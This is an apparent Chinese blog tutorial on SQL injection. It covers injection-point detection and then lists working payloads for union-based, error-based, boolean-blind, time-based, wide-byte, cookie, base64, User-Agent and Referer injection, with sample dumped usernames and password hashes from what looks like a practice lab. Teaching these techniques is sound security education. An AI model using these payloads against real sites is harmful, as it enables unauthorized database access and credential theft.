sql 双引号_浅析SQL注入

90339d70fceda567ea430b9b9acb0c4c.png

SQL 注⼊(SQL Injection)是⼀种常⻅的Web 安全漏洞。经常位列OWASPTOP10攻击者利⽤这个漏洞,可以访问或修改数据,或者利⽤潜在的数据库漏洞进⾏攻击。

漏洞原理:通过⽤户可控参数中注⼊SQL 语法,破坏原有SQL 结构,达到编写程序时意料之外结构的攻击⾏为。其成因可以归结为以下两个原因叠加造成的。

1.程序员在处理程序和数据库交互时,使⽤字符串拼接的⽅式构造SQL 语句

2.未对⽤户可控参数进⾏⾜够的过滤,便将参数内容拼接到SQL 语句中

注入点可能存在的位置:根据SQL 注⼊漏洞的原理,⽤户“可控参数”中注⼊SQL 语法,也就是说Web 应⽤获取⽤户输⼊的地⽅,只要带⼊数据库查询,都有存在SQL 注⼊的可能,这些地⽅通常包括:

GET 数据

POST 数据

Cookie 数据

HTTP 头部(HTTP 头部中的其他字段)

注入点的判断方法:会在疑似注⼊点的地⽅的连接或者参数后⾯尝试提交数据,从⽽进⾏判断是否存在SQL 注⼊漏洞。

-1 或 +1 是否能够回显上⼀个或者下⼀个⻚⾯(判断是否有回显)

' 或 " 是否显示数据库错误信息;回显的⻚⾯是否不同(字符型还是数字型)

and 1=1 或者 and 1=2 回显的⻚⾯是否不同(布尔类型的状态)

and sleep(5) 判断⻚⾯的返回时间

判断转义

根据不同的标准,SQL 注⼊漏洞可以有不同的分类。从数据类型分类,SQL 注⼊分为两⼤基本类型。数字型 拼接到SQL 语句中的参数,是以数字出现的,即参数两边没有单双引号。字符型 正好相反,拼接到SQL 语句中的参数,是以⽂本出现的,即参数两边有单双引号。

注入手法:

联合查询(Union Query SQL Injection)

报错注⼊(Error-Based SQL Injection)

布尔盲注(Boolean-based Blind SQL Injection)

延时注⼊(Time-based Blink SQL Injection)

堆叠查询(Stacked Queries SQL Injection)

SQL注入的流程:数据库名 -> 表名 -> 字段名 -> 字段内容

下面对注入手法进行详细介绍:

1.联合查询(有回显则用此方法):由于数据库中的内容会回显到⻚⾯中来,所以可以使⽤联合查询进⾏注⼊。

联合查询就是利⽤ union select 语句,该语句会同时执⾏两条select 语句。

跨库跨表查询。

必要的条件:两条select 语句查询结果具有相同列数且对应的列数据类型相同

判断列数:

?id=1 order by 1 正常
?id=1 order by 2 正常
...
?id=1 order by n 不正常
#说明当前列表中有(n-1)列字段

判断显示位置:

?id=1 union select 1,2,3
?id=1 and 1=2 union select 1,2,3

数据库中的敏感信息-数据库名

?id=1 and 1=2 union select database(),version(),@@datadir
#BBS

表名

?id=1 and 1=2 union select 1,group_concat(table_name),3 from
information_schema.tables where table_schema=database()
# message,user(表名有两个,为message和user)

字段名

?id=1 and 1=2 union select 1,group_concat(column_name),3 from
information_schema.columns where table_name='user' and
table_schema=database()
# id,username,password,imgpath(字段名是这些)

字段内容

?id=1 and 1=2 union select 1,count(*),3 from user
# 6(user表中总共有6行内容)
?id=1 and 1=2 union select 1,concat(username,0x3a,password),3 from user
limit 0,1
# ajest:e10adc3949ba59abbe56e057f20f883e
# 123456
?id=1 and 1=2 union select 1,concat(username,0x3a,password),3 from user
limit 1,1
# root:e10adc3949ba59abbe56e057f20f883e
?id=1 and 1=2 union select 1,concat(username,0x3a,password),3 from user
limit 2,1
# admin:e10adc3949ba59abbe56e057f20f883e
?id=1 and 1=2 union select 1,concat(username,0x3a,password),3 from user
limit 3,1
# mdm:e10adc3949ba59abbe56e057f20f883e
?id=1 and 1=2 union select 1,concat(username,0x3a,password),3 from user
limit 4,1
# ajest1:c33367701511b4f6020ec61ded352059
# 654321
?id=1 and 1=2 union select 1,concat(username,0x3a,password),3 from user
limit 5,1
# ajest2:c33367701511b4f6020ec61ded352059
?id=1 and 1=2 union select 1,
(group_concat(concat(username,0x3a,password))),3 from user

2.报错注入:在注⼊点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在⻚⾯中,因此可以利⽤报错信息进⾏注⼊。报错注⼊的原理,在错误信息中执⾏SQL 语句。

group by 重复键冲突

?id=2 and (select 1 from (select count(*),concat(0x5e,(select
database()),0x5e,floor(rand()*2))x from information_schema.tables group by
x)a)

extractvalue

?id=2 and extractvalue(1,concat(0x5e,(select database()),0x5e)) 

updatexml

?id=2 and updatexml(1,concat(0x5e,(select database()),0x5e),1) 

3.布尔盲注:如果⻚⾯中有布尔类型的状态,可以根据布尔类型状态,对数据库中的内容进⾏判断

核心在于按位测试(类似于按位盲猜)

数据库名字的⻓度

?id=2' and length(database())=8 --+ #这里的8就是盲猜的,也可以是别的数,直到猜对为止

数据库的名字

?id=2' and ascii(substr(database(),1,1))=115 --+
# 115
# s
?id=2' and ascii(substr(database(),2,1))=101 --+
# 115 101
# s e(这里115和101都是随机盲猜的)

4.延时注入

利⽤sleep() 语句的延时性,以时间线作为判断条件

数据库名字的⻓度

?id=2' and if(length(database())=8,sleep(5),1) --+

数据库名字

?id=2' and if(ascii(substr(database(),3,1))=99,sleep(5),1) --+
# 115 101 99
# s e c

其他判断

?id=2' and if(ascii(substr(version(),1,1))=49,sleep(5),1) --+
# 49
# 1
?id=2' and if(ascii(substr(version(),2,1))=48,sleep(5),1) --+
# 49 48
# 1 0
?id=2' and if(ascii(substr(version(),3,1))=46,sleep(5),1) --+
# 49 48 46
# 1 0 .

宽字节注入

宽字节注⼊准确来说不是注⼊⼿法,⽽是另外⼀种⽐较特殊的情况。

在进⾏注⼊测试的时候

?id=1'
1'
315c27
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('') .'/', "", $string);
$string = preg_replace('/'/i', ''', $string);
$string = preg_replace('/"/', """, $string);
return $string;
}
$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

GBK 编码范围[8140,FEFE]。注意到 5c 在GBK 编码的低位范围之内。在 5c 之前添加⼀个字符[81,FE] 之间,该字符就会和 5c 组成⼀个汉字。

df5c 運
?id=1%df'
1%df'
31df5c27
1運' 

吃掉了转义字符

?id=1%df' and 1=2 union select 1,database(),version() --+ 

cookie注入(注入点在cookie数据中)

uname=Dumb' and extractvalue(1,concat(0x7e,(select database()),0x7e))# 

base64注入(注入参数需要进行base64编码)

uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDVlLHZlcnNpb24oKSwweDVlK
SkgIw==

user-agent注入(注入参数在user-agent中)

near '192.168.16.104', 'Dumb')' at line 1
insert into tbName(user-
agent,ip,username)values('ajest','192.168.16.104','Dumb')
User-Agent: ajest' and extractvalue(1,concat(0x5e,database(),0x5e)) and
'1'='1

refer注入(注入参数在refer字段中)

Referer: ajest' and extractvalue(1,concat(0x5e,database(),0x5e)) and '1'='1
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值